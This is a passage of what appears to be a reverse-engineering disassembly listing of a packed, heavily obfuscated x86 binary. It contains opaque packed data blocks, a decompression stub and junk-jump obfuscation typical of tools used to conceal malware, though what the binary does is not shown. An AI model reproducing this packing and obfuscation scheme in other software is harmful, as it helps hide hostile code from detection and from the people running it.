		dd 0D81ED8A0h, 7D224229h, 8C180430h, 0ABCDB106h, 810A8204h
		dd 250EC008h, 6EBCEA6Ah, 0A44810h, 944B445Dh, 0EAA00E2Bh
		dd 0C4BA7D8Eh, 533628A2h, 0D1EA8309h, 7508FF9Fh, 6C8AE505h
		dd 1B0C075Eh, 0DA0310Eh, 102346EEh, 0E39B1C34h,	0A163AE3Eh
		dd 30F92BA7h, 0E060305h, 2C518534h, 819612C2h, 317FC458h
		dd 0AF505861h, 758D4941h, 741CAB06h, 48891E2Ch,	779D8149h
		dd 11616231h, 55F8852Ch, 0DB9762D0h, 182A8BBh, 8141D1D1h
		dd 95D0EAFEh, 2E6E16DEh, 0E217836h, 786C438Bh, 6FA1644Bh
		dd 214A1A7Fh, 81F564A0h, 9C40BB8Ch, 90B08065h, 5C14158h
		dd 0DA6EDC46h, 0E9180CB1h, 5CB0652Dh, 2CAEB15Bh, 81C8EDBh
		dd 82485620h, 0DE9371F1h, 293B2AAh, 416918Bh, 27018C8Ch
		dd 6BBA775Eh, 911A42C7h, 3FB0DC1Ah, 4D98CB7h, 28AD98E3h
		dd 69B285E4h, 1C7661A1h, 30E2B040h, 0A5A672E3h,	56EBB4D8h
		dd 182EC608h, 0B0847936h, 0A48BAB48h, 0D0B0321h, 4A013664h
		dd 0B9027433h, 57521962h, 280534Eh, 41C06C11h, 40EE145Bh
		dd 8A0CCDACh, 0DF6805EEh, 802D35AAh, 588C07E6h,	59942C30h
		dd 8105B746h, 2325BC0h,	9ABAC2A5h, 73B0C464h, 83A344Ah
		dd 44053139h, 9B80A31Ch, 8A01DE30h, 0FFA234C1h,	293015A5h
		dd 882195Dh, 2043040Eh,	0DE708B81h, 0DE125FC0h,	700790BAh
		dd 63AD7D4Fh, 2A219470h, 4023378Bh, 37901671h, 5183B9A7h
		dd 2CCA62Ch, 8DC1141Fh,	58B038A2h, 0A673522Ch, 0B5D521CCh
		dd 24981904h, 6E47A9C3h, 0F88F205Fh, 5F10A5AAh,	0C594B551h
		dd 1775DFACh, 584CB925h, 0C56FFC28h, 64DE26C8h,	59AD0626h
		dd 25CDD28Bh, 52840526h, 99BCD0Bh, 6CB82009h, 972B9D02h
		dd 0A4B4212Ch, 0A350BDE0h, 0A8E80398h, 13A82965h, 9D31D263h
		dd 1F3FEB8Dh, 28D29A9Dh, 666AC5AAh, 76C20E4Ch, 808BBB0Eh
		dd 0B1804EBEh, 1BC50284h, 1416DC05h, 0A6A2957Fh, 0F6C39A4Ch
		dd 83306708h, 5124D1C9h, 379005F0h, 0E4C1726Bh,	0F78048A5h
		dd 0A2868E71h, 3147B3A4h, 40FC6E0Dh, 53A64C59h,	763D5298h
		dd 93356CA0h, 0D13A8CC9h, 45A4253Bh, 33165DC9h,	0BAD50A52h
		dd 6D4C01A2h, 0D6CC0D31h, 82850C15h, 17A86610h,	8157F739h
		dd 6933D54Ah, 223BB9CBh, 3FF5CBFDh, 97B4A7h, 2156E130h
		dd 825ABF26h, 0F0B08291h, 0AEC1C0C2h, 2C7A82F2h, 2AE2E2EAh
		dd 0A3543262h, 0E5D1AF3Bh, 7597EED3h, 0B19A285h, 51AB470Ch
		dd 8D18C702h, 0AAC017AAh, 8AEEE8C2h, 3F10BEBh, 0F602407Bh
		dd 0FF9101AAh, 7D70E931h, 995DF17Eh, 67DB5F47h,	0E873A432h
		dd 861B262h, 735A0294h,	8F44B84h, 0A9D556F1h, 0E7855152h
		dd 0BBC48DD7h, 70C52B93h, 3380FBEh, 10D46E40h, 0DCA73E1Ch
		dd 32E4CCCFh, 41702759h, 0AFDA7049h, 2BE99C0Bh,	0EC7457CAh
		dd 0E819AC16h, 46597D75h, 0B2663920h, 4058B170h, 71CD6380h
		dd 0FE02290Bh, 4A9856FFh, 9CA5B685h, 92B7B2ABh,	9FFE5375h
		dd 0F1814130h, 9351B62Fh, 3B54F62Eh, 0ADD692F5h, 8820499h
		dd 0A5A10C58h, 650C295h, 13ECE064h, 152A68EAh, 0C7305AA2h
		dd 81B29EEAh, 8114B056h, 0A11AA1B4h, 121BAA81h,	31E5C1EFh
		dd 5F89F09Ah, 84726B45h, 12143587h, 145E1A6Eh, 3D0A0A80h
		dd 8874A777h, 5A100692h, 364ED21h, 0D605933Eh, 0D1B42BECh
		dd 798C0EA8h, 0C0DFCAE5h, 1257A166h, 0E416051h,	0A6B5F68h
		dd 7B022440h, 1FB2C8D5h, 0BAFAC11Ch, 603E418Bh,	0AEC19AD1h
		dd 43282989h, 0B1460A03h, 70606ACh, 0CC4DC854h,	3F0ACB7Fh
		dd 2AA7146Ah, 54794707h, 4302EA5h, 70FCACDEh, 74717F83h
		dd 0D5F2F14h, 0C7D163E3h, 7902857Eh, 59AB6301h,	0B91852FCh
		dd 7A763801h, 9547DD4Fh, 0FC26BAE0h, 0E18A2810h, 3A453438h
		dd 400653E0h, 2F02057Dh
		dd 31C8139Ch, 0ABD4E91Eh, 0D885A096h, 0C8E6F1B4h, 0BEFA4587h
		dd 71AEB73h, 8A08F2D0h,	998C07AFh, 0AA2355CCh, 0C5FEA16h
		dd 5F56651Eh, 3315F09Fh, 2FE8260Ah, 895492FEh, 1DE982D4h
		dd 29261804h, 0FEE367C7h, 76042B1h, 9DE0D4EAh, 0EC692666h
		dd 0F3E43063h, 0C6876A9h, 0D5A6E3BDh, 636444C2h, 0CE083074h
		dd 0F1B5A8D0h, 89BF1411h, 339845E6h, 2A00EA5h, 58040394h
		dd 0CA15E46h, 39693206h, 21EE097Fh, 0EA129E80h,	0BAD8152Ah
		dd 6262A76h, 99EDFC03h,	3ABE6B3Dh, 0E7B1FF39h, 0A274AF9Bh
		dd 4C16DF30h, 33BDFAD8h, 0A0EFA588h, 5A4FFC2Bh,	7791EB3Dh
		dd 89D7EE4Bh, 64453AC4h, 0CCB6258Eh, 0A9FE387Eh, 6576EBB7h
		dd 0CEF6FC0Bh, 0C41D7984h, 0E3B50706h, 7D7D5F9h, 35B77CCDh
		dd 5A959B6h, 8AD03CFAh,	4C237277h, 97378AAFh, 0D7AEDD0Bh
		dd 1F37E549h, 5AEAE555h, 0B86C9897h, 0BBAF9800h, 74FA2F63h
		dd 28FD229Bh, 5055B822h, 4C664983h, 0C0FEFAD5h,	0CC3E0F87h
		dd 0A4C763B4h, 285AA75Bh, 3EA24ED5h, 0E01038C0h, 0BA43FF2Fh
		dd 6E0E5557h, 0BD720850h, 3002D414h, 28FA2118h,	25530557h
		dd 0F8B85B49h, 0B39097AAh, 0CD3A8C28h, 7FCB9282h, 825E234Fh
		dd 0F2CB68FCh, 4C80AFA6h, 0C2A38255h, 0A30A01C7h, 172B70AFh
		dd 0F195CEF8h, 34AFF865h, 0EFD91396h, 88FCE760h, 8F07C2EAh
		dd 8F53FA90h, 8F579940h, 0E2C54341h, 6961FBB1h,	0DEF79F72h
		dd 46905618h, 579856AEh, 0AC39E62Dh, 9EA0B17Eh,	0F344E80Eh
		dd 60FA80ABh, 0B155D38Fh, 0D252A9Ah, 6E9F0054h,	0B99B5D04h
		dd 976147F6h, 965C9D0Bh, 3987CC6Fh, 7863C046h, 6A75E973h
		dd 5779495Fh, 4F18C039h, 6CA75867h, 8F3BEDE1h, 0CCC051E9h
		dd 0AE3E4095h, 8FB6E8C4h, 0B135A563h, 0A802C262h, 55FE6D7h
		dd 1FDB8B05h, 5883F1E5h, 68155B39h, 0C3EA67FEh,	22BFFC99h
		dd 38DFBA1Dh, 36A3DE2Fh, 0A282A37Ch, 22EFFA69h,	0BFC0C719h
		dd 93579E62h, 0EB316CC7h, 11577291h, 9885D350h,	359D7967h
		dd 66935967h, 9653FAECh, 0EBC50D94h, 6AF56273h,	96B1AE39h
		dd 19E7783Bh, 0DC677834h, 0B99596B0h, 0F7006581h, 6213D94Dh
		dd 88ADE957h, 1EBF9462h, 367680E3h, 6D2EDF38h, 7A39DF45h
		dd 0B9CB3931h, 15B5BCBDh, 535763E9h, 0F59AB72Eh, 98CB310h
		dd 0AF41AA96h, 0DC27384h, 0CA566D8Dh, 57C2E221h, 0C2FFBB91h
		dd 0EFE7043Eh, 0B5D91DF2h, 9262867h, 8BD15EF3h,	98833151h
		dd 0B5A175E3h, 54552598h, 0A1834F3Dh, 9C327382h, 0B1482920h
		dd 0E0176E0h, 3172AB34h, 2510478Fh, 51678795h, 0C22BBB9Ch
		dd 7CE27664h, 0F6E7AF74h, 90D26B92h, 0CE245991h, 4B31BCA3h
		dd 0C2EAE2D8h, 0A53C1308h, 1B86A8h, 14230194h, 54030510h
		dd 6DF20D85h, 0D240D67Ah, 9626607Eh, 0A0A31057h, 0A2B1052h
		dd 307294C2h, 6CE9F9F0h, 75000025h, 0C9913AF5h,	118D3764h
		dd 8A118Fh, 0DD310083h,	2D58D915h, 8F30179Bh, 0CC59B28Ah
		dd 1569AB38h, 83704E5Bh, 0E7C69450h, 87C5D2ADh,	293495D4h
		dd 4D50837h, 437E59D5h,	541D2DFh, 0FFA746C9h, 0A55D9F91h
		dd 18B14537h, 0EDF00537h, 8A19274Fh, 0B35AA8CBh, 5AE65D6h
		dd 0CC9654E8h, 5EA58C04h, 0C5D5A511h, 2989191Dh, 80E9B625h
		dd 0BB1C7811h, 949512AAh, 0F1703303h, 9B298905h, 49582931h
		dd 0C2D4124Dh, 38AD48B3h, 9496DA9Dh, 268815BEh,	0B4B081FDh
		dd 5399D72Ah, 0A58D446Ch, 846CC4C4h, 0C9255540h, 17478D98h
		dd 420FAE01h, 659B9C99h, 855D526Bh, 99329319h, 1333AE11h
		dd 0F99A9EBFh, 26AA5BCFh, 0C1640BABh, 0C94CCAB3h, 4ABB9AD8h
		dd 6F0B44CAh, 2C215A85h, 0FE342E3Bh, 0DAD6B859h, 0D088C8F1h
		dd 2BE8C65Bh, 0AD74E327h, 765A8944h, 93269631h,	0BED10560h
		dd 3558CC22h, 0A110FCD7h, 2B24752Eh, 0E69DA7A9h, 632D5557h
		dd 32291574h, 4C4F8FA9h, 22A517B5h, 2D836DACh, 0B3015C65h
		dd 0D58C314Fh, 2ABE2584h, 0A9809953h, 4A034B3Ch, 0FB5A2AB9h
		dd 0C577E185h, 0AC335163h, 1816993Ah, 0C47A1760h, 0DE7C774Ch
		dd 0F0222395h, 0D5B51A8h, 0A5D30B59h, 0B281CF4Dh, 887100B4h
		dd 738085C1h, 0BA26B11Eh, 0ACAB675Ah, 0DB092D3Ah, 0A36EE2A4h
		dd 2A053322h, 0B2EECA0Ch, 238C0E83h, 95E05A00h,	235B4B00h
		dd 0B227ABE2h, 0AA091822h, 0E9E25713h, 3A60D444h, 116974D1h
		dd 520665F2h, 9D04306h,	227708A3h, 99F4C4E8h, 9520F3B0h
		dd 30854E7Dh, 8BA006F4h, 4EE2E060h, 0CB39DCCh, 1832276Eh
		dd 45A0A66Bh, 2764D430h, 9D84ECCh, 0C32213B1h, 3AC804EBh
		dd 4EAA75B1h, 13A89D5Ch, 0CAAA2753h, 0AA4E8C69h, 90982E4Ah
		dd 6A0662AAh, 9F781A46h, 7853A866h, 95BE739Fh, 7875860Ch
		dd 2901E6BEh, 6A56D582h, 0FDA2A4C9h, 0EAC13B62h, 0DCEF054Ah
		dd 6E42B010h, 0A1B936E7h, 5668E92Dh, 9520265Ah,	5D3900C0h
		dd 4C18ECC6h, 0F0972422h, 0DA564D5Ah, 3A65DC08h, 9DC70617h
		dd 0A893F36Fh, 2E5688A3h, 0C4513041h, 0F5ACCD05h, 0D4E02D6Eh
		dd 13A0412h, 44BA1F77h,	8D30E920h, 3F77AE5Eh, 0A6E9780h
		dd 0E851AC18h, 44341779h, 64059761h, 9830C70Dh,	202C255Dh
		dd 4C9CEB28h, 2B16C827h, 45192EB9h, 8A9B35Eh, 20F2A910h
		dd 8C20AEF4h, 52314C75h, 50802257h, 85C2878Ch, 276F9AA6h
		dd 3E45D363h, 5F6F01C7h, 4F31E4A9h, 5C497D27h, 8ABA93Eh
		dd 65BB8D48h, 2B474879h, 75CE13B6h, 0B32EACC8h,	0BA84DD69h
		dd 4C53D712h, 65DA8C1Ah, 89ECACB7h, 794D4325h, 0CDFF7736h
		dd 16F0D73Bh, 7785D66Dh, 4275E874h, 0C7E6A1CFh,	2BCEFD6Eh
		dd 414A71EDh, 5891AC57h, 23DE89DDh, 7118C55Bh, 17E3EEF6h
		dd 491FD17h, 17428161h,	0EF9CAE42h, 63BF2C03h, 9FEE1C2Fh
		dd 0DD62F122h, 0DB2B3FB2h, 0F4FE571Ch, 0E64383EAh, 64A03C9Fh
		dd 0DC8D5853h, 97CB87FAh, 0EDEF377Ch, 4795A9A0h, 0E3361DE3h
		dd 0BA83DEE0h, 0D2B69B82h, 0D97535B0h, 83AB384Ch, 0DB457502h
		dd 0C743CA53h, 0C0BEC156h, 4168FA0h, 0A667F0D8h, 0D3D5E5F5h
		dd 509F8987h, 904E0218h, 4E40F8C0h, 15269776h, 607019BCh
		dd 31EB8D33h, 17DF045Ah, 237104F6h, 955FC7D5h, 5D180C75h
		dd 0E4E20B02h, 0A7E6CEF2h, 0F7BF834Bh, 55756AD5h, 3FE82B6h
		dd 1028084Ah, 695F3473h, 0E0A0AEA0h, 0C03F57D2h, 48801222h
		dd 0AB84h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42C902	proc near		; DATA XREF: lsqvqpii:0042EFE1o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042CA81 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_42CA44
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx


loc_42C933:				; CODE XREF: sub_42C902+46j
					; sub_42C902+8Dj ...
		xor	eax, eax
		call	sub_42CA4B
		jnb	short loc_42C94A
		mov	ecx, [ebp+var_10]
		call	sub_42CA63
		add	al, [ebp+var_11]


loc_42C947:				; CODE XREF: sub_42C902+65j
		stosb
		jmp	short loc_42C933
; ---------------------------------------------------------------------------


loc_42C94A:				; CODE XREF: sub_42C902+38j
		call	sub_42CA4B
		jb	loc_42C9EC
		call	sub_42CA4B
		jnb	short loc_42C9B7
		mov	ecx, 4
		call	sub_42CA63
		dec	eax
		jz	short loc_42C947
		jns	loc_42CA36
		call	sub_42CA4B
		jnb	short loc_42C991
		push	ebp


loc_42C977:				; CODE XREF: sub_42C902+8Aj
		mov	ebp, 100h


loc_42C97C:				; CODE XREF: sub_42C902+83j
		call	sub_42CA58
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_42C97C
		call	sub_42CA4B
		jb	short loc_42C977
		pop	ebp
		jmp	short loc_42C933
; ---------------------------------------------------------------------------


loc_42C991:				; CODE XREF: sub_42C902+72j
		mov	ecx, 1
		call	sub_42CA63
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_42C933
		call	sub_42CA58
		mov	[ebp+var_11], al
		jmp	loc_42C933
; ---------------------------------------------------------------------------


loc_42C9B7:				; CODE XREF: sub_42C902+58j
		mov	ecx, 7
		call	sub_42CA63
		push	eax
		mov	ecx, 2
		call	sub_42CA63
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_42C9D9
		mov	ebx, eax
		jmp	short loc_42CA37
; ---------------------------------------------------------------------------


loc_42C9D9:				; CODE XREF: sub_42C902+D1j
		cmp	ecx, 2
		jz	short loc_42CA44
		inc	ecx
		call	sub_42CA63
		mov	[ebp+var_C], eax
		jmp	loc_42C933
; ---------------------------------------------------------------------------


loc_42C9EC:				; CODE XREF: sub_42C902+4Dj
		call	sub_42CA6F
		dec	ecx
		loop	loc_42C9FD
		mov	eax, ebx
		call	sub_42CA6F
		jmp	short loc_42CA37
; ---------------------------------------------------------------------------


loc_42C9FD:				; CODE XREF: sub_42C902+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_42CA63
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_42CA6F
		cmp	eax, 10000h
		jnb	short loc_42CA34
		cmp	eax, 37FFh
		jnb	short loc_42CA35
		cmp	eax, 27Fh
		jnb	short loc_42CA36
		cmp	eax, 7Fh
		ja	short loc_42CA37
		inc	ecx


loc_42CA34:				; CODE XREF: sub_42C902+11Cj
		inc	ecx


loc_42CA35:				; CODE XREF: sub_42C902+123j
		inc	ecx


loc_42CA36:				; CODE XREF: sub_42C902+67j
					; sub_42C902+12Aj
		inc	ecx


loc_42CA37:				; CODE XREF: sub_42C902+D5j
					; sub_42C902+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_42C933
; ---------------------------------------------------------------------------


loc_42CA44:				; CODE XREF: sub_42C902+19j
					; sub_42C902+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_42CA81
sub_42C902	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CA4B	proc near		; CODE XREF: sub_42C902+33p
					; sub_42C902:loc_42C94Ap ...
		add	edx, edx
		jnz	short locret_42CA57
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_42CA57:				; CODE XREF: sub_42CA4B+2j
		retn
sub_42CA4B	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CA58	proc near		; CODE XREF: sub_42C902:loc_42C97Cp
					; sub_42C902+A8p
		mov	ecx, 8
		call	sub_42CA63
		retn
sub_42CA58	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CA63	proc near		; CODE XREF: sub_42C902+3Dp
					; sub_42C902+5Fp ...
		xor	eax, eax


loc_42CA65:				; CODE XREF: sub_42CA63+9j
		call	sub_42CA4B
		adc	eax, eax
		loop	loc_42CA65
		retn
sub_42CA63	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CA6F	proc near		; CODE XREF: sub_42C902:loc_42C9ECp
					; sub_42C902+F4p ...
		xor	ecx, ecx
		inc	ecx


loc_42CA72:				; CODE XREF: sub_42CA6F+Fj
		call	sub_42CA4B
		adc	ecx, ecx
		call	sub_42CA4B
		jb	short loc_42CA72
		retn
sub_42CA6F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C902


loc_42CA81:				; CODE XREF: sub_42C902+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42C902
; ---------------------------------------------------------------------------
		align 2


loc_42CA86:				; CODE XREF: lsqvqpii:loc_42EDE1j
					; DATA XREF: sub_42EFA1o ...
		and	edx, 0F8DDCEB0h
		sub	edx, 6A72EAEh
		add	edx, 0DE69438Eh
		xchg	edx, [esp]
		jmp	loc_42E30A
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CAA2:				; CODE XREF: sub_42E407-13Aj
		jmp	loc_42EC99
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4


loc_42CAA8:				; CODE XREF: lsqvqpii:0042E2ABj
		jmp	loc_42DFB1
; ---------------------------------------------------------------------------
		align 2
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CAAE:				; CODE XREF: sub_42E407-1782j
		jmp	loc_42EAEF
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_42D010


loc_42CAB4:				; CODE XREF: sub_42D010+Aj
		mov	byte ptr [eax],	87h
		xchg	ebp, [esp+0]


loc_42CABA:				; CODE XREF: sub_42DC4F:loc_42D75Dj
		mov	eax, ebp
		pop	ebp
		xchg	edx, [esp-4+arg_0]
		mov	ecx, edx
		jmp	loc_42DB56
; END OF FUNCTION CHUNK	FOR sub_42D010
; ---------------------------------------------------------------------------
		mov	byte ptr [eax],	9Dh
		pop	eax
		add	esi, 0F6FF71FFh
		mov	esi, [esi]
		jmp	loc_42CD11
; ---------------------------------------------------------------------------

locret_42CAD8:				; CODE XREF: lsqvqpii:loc_42E327j
		retn
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42CADB	proc near		; DATA XREF: sub_42E407+26Ao
		xchg	ecx, [esp+0]
		retn
sub_42CADB	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 83108B00h, 48704C0h,	4BFE924h, 0F000000h, 1EC884h, 0EF2E900h
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CBA0


loc_42CAFC:				; CODE XREF: sub_42CBA0+1Bj
		rol	eax, 0Bh
		jnb	loc_42D2C8
; END OF FUNCTION CHUNK	FOR sub_42CBA0
; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DC4F


loc_42CB07:				; CODE XREF: sub_42DC4F-185j
		jmp	nullsub_10
; END OF FUNCTION CHUNK	FOR sub_42DC4F
; ---------------------------------------------------------------------------
		ror	eax, 18h
		xchg	eax, [ecx]
		jmp	loc_42D2C8
; ---------------------------------------------------------------------------
		and	ecx, 0E91C3181h
		jmp	sub_42D1B0
; ---------------------------------------------------------------------------
		align 2
		cmp	esi, 37D14133h
		jmp	loc_42E8AA
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 210187h, 243C8700h, 0E9C7035Fh, 18BBh, 0CE810000h, 0A6BDC3E4h
		dd 0A0FFEE81h, 0F681FC37h, 0B8B3964h, 0E315B850h, 68E90042h
		dd 0FFFFFFh, 658A0F00h,	300001Eh, 240487FAh, 0E9240C87h
		dd 0E73h, 0C602C600h, 0E27B685Ah, 0E0E90042h, 18h, 42CD2968h
		dd 6B4E900h, 0
; ---------------------------------------------------------------------------
		add	esi, 0FCF3E0FFh
		push	offset loc_42D8AE
		jmp	locret_42D6AB

; =============== S U B	R O U T	I N E =======================================



sub_42CBA0	proc near		; CODE XREF: sub_42CD4C+2j
					; sub_42E407:loc_42E8C9j ...

; FUNCTION CHUNK AT 0042CAFC SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042D2C8 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042D51A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E7AD SIZE 00000010 BYTES

		xchg	ecx, [esp+0]
		xchg	esi, [esp+0]
		mov	ecx, esi
		pop	esi
		push	0FFED3927h
		pop	eax
		xor	eax, 0FB2FEE90h
		sub	eax, 9DFBDB67h
		jmp	loc_42CAFC
sub_42CBA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD3F


loc_42CBC2:				; CODE XREF: sub_42DD3F:loc_42E176j
		jnz	loc_42E30F


loc_42CBC8:				; CODE XREF: sub_42E930-C17j
		jmp	sub_42DB92
; END OF FUNCTION CHUNK	FOR sub_42DD3F
; ---------------------------------------------------------------------------
		align 2
		rol	edi, 0Fh
		sbb	ebp, 955B0430h
		jmp	loc_42E30F
; ---------------------------------------------------------------------------


loc_42CBDC:				; CODE XREF: lsqvqpii:loc_42D781j
		sub	ebx, 536B5FD1h
		xor	ebx, 0A3436422h
		add	ebx, 949592FCh
		or	ebx, 9A249400h
		add	ebx, 205D254Dh
		jmp	loc_42D1A4
; ---------------------------------------------------------------------------
		align 10h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D877


loc_42CC01:				; CODE XREF: sub_42D877+CEBj
		add	edx, ebp


loc_42CC03:				; CODE XREF: lsqvqpii:loc_42D5CFj
		add	edx, 0F7EAD47h
		mov	edx, [edx]
		xchg	edx, [esp+0]
		call	sub_42E9E0
		add	cl, ch
		insb
		add	eax, [eax]
		add	[ecx-476ABA1Dh], al
		enter	3DE8h, 1Bh
; END OF FUNCTION CHUNK	FOR sub_42D877
; ---------------------------------------------------------------------------
		dw 0
		dd 39E90000h, 0Fh, 0D4CB6800h, 5BE90042h, 11h, 0E90FCDC1h
					; CODE XREF: lsqvqpii:0042E24Dj
		dd 3D0h, 37C78100h, 0E8E6CA6Dh,	0FFFFFEE9h, 0A4E90000h
		dd 1Ah,	24348700h, 0D94E8h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CC5D:				; CODE XREF: sub_42E407+DDj
		jmp	loc_42E6E5
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		align 4
		popf
		jno	loc_42D4B5
		jmp	sub_42EB44
; ---------------------------------------------------------------------------
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E407


loc_42CC71:				; CODE XREF: sub_42E407-BFFj
		xchg	ebx, [esp+0]
		xchg	eax, [esp+0]
		mov	ebx, eax
		pop	eax
		push	958C4FC4h
		xchg	ecx, [esp+0]
		mov	edx, ecx
		pop	ecx
		jmp	loc_42CAAE
; END OF FUNCTION CHUNK	FOR sub_42E407
; ---------------------------------------------------------------------------
		dw 8700h
; ---------------------------------------------------------------------------
		or	al, 24h
		push	ebx
		push	0BBD456EBh
		pop	ebx
		jmp	loc_42D781
; ---------------------------------------------------------------------------
		db 0

; =============== S U B	R O U T	I N E =======================================



sub_42CC9B	proc near		; DATA XREF: sub_42EDBB-1E6Eo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042E8F3 SIZE 0000000E BYTES

		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp+4+var_4]
		push	esi
		jmp	loc_42E8F3
sub_42CC9B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42CCA7:				; CODE XREF: lsqvqpii:loc_42EAE2j
		retn
; ---------------------------------------------------------------------------
dword_42CCA8	dd 4DE90000h, 0Ch, 0D545BA52h, 72E90042h, 16h, 0E9C68500h
					; DATA XREF: lsqvqpii:0042EA25o
		dd 0FFFFFE6Bh, 0C30000h
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB44


loc_42CCC9:				; CODE XREF: sub_42EB44+14j
		jmp	loc_42DBC2
; END OF FUNCTION CHUNK	FOR sub_42EB44
; ---------------------------------------------------------------------------
		align 10h


loc_42CCD0:				; CODE XREF: lsqvqpii:loc_42D616j
		push	3BE69D3Eh
		pop	ecx
		push	ecx
		mov	ecx, offset dword_42CE14
		jmp	loc_42E806
; ---------------------------------------------------------------------------
		align 2
		retn
; ---------------------------------------------------------------------------
		align 4


loc_42CCE4:				; CODE XREF: lsqvqpii:0042DEAFj
		jmp	locret_42D314
; ---------------------------------------------------------------------------
		db 2 dup(0), 81h
		dd 839756C7h, 243C8734h, 1C57E9h, 0C3000000h, 4DE90000h
		dd 1Dh,	1D07E900h, 51000000h, 1D91E9h
		db 0
; ---------------------------------------------------------------------------


loc_42CD11:				; CODE XREF: lsqvqpii:0042CAD3j
		call	sub_42DD3F
		add	bl, al		; CODE XREF: lsqvqpii:loc_42E037j
; ---------------------------------------------------------------------------
		dd 5FE90000h, 0Ah, 0BFE900C3h, 7, 8702C600h, 8B243487h
					; CODE XREF: lsqvqpii:0042E6A2j
		dd 0C1C15ED6h, 124CE903h, 0
; ---------------------------------------------------------------------------
		xchg	esi, [esp]
		pop	esi
		push	eax
		mov	eax, offset loc_42DBF5
		jmp	loc_42D324
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_42CD4C	proc near		; CODE XREF: sub_42E5B5j
		adc	ebx, esi
		jmp	sub_42CBA0
sub_42CD4C	endp

; ---------------------------------------------------------------------------
		align 4


loc_42CD54:				; CODE XREF: lsqvqpii:0042D938j
		mov	byte ptr [edi],	87h
		pop	edi
		and	ebx, 0F4998F6Ch
		call	sub_42E332
; ---------------------------------------------------------------------------
		db 0
		db    0
		db  3Ch	; <
		db 0A4h	; ¤
		db  0Fh
		db  85h	; …
		db    5
		db    0
		db    0
		db    0
		db 0E9h	; é
		db 0D0h	; Ð
		db    2
		db    0
		db    0
		db  68h	; h
		db 0D2h	; Ò
		db 0E1h	; á
		db  42h	; B
		db    0
		db 0E9h	; é
		db  9Bh	; ›
		db  20h
		db    0
		db    0
		db  81h	; 
		db 0DBh	; Û
		db 0CDh	; Í
		db  7Ch	; |
		db 0FEh	; þ
		db  92h	; ’
		db 0F7h	; ÷
		db 0D7h	; ×
		db 0C1h	; Á
		db 0C7h	; Ç
		db    3
		db  57h	; W
		db 0BFh	; ¿
		db  6Dh	; m
		db 0D6h	; Ö
		db  42h	; B
		db    0
		db 0E9h	; é
		db  79h	; y
		db    2
		db 2 dup(0)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_18. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_42CD93	proc near		; CODE XREF: lsqvqpii:loc_42D118p

; FUNCTION CHUNK AT 0042D566 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042D860 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042DC46 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042DEBF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042E03D SIZE 0000000B BYTES
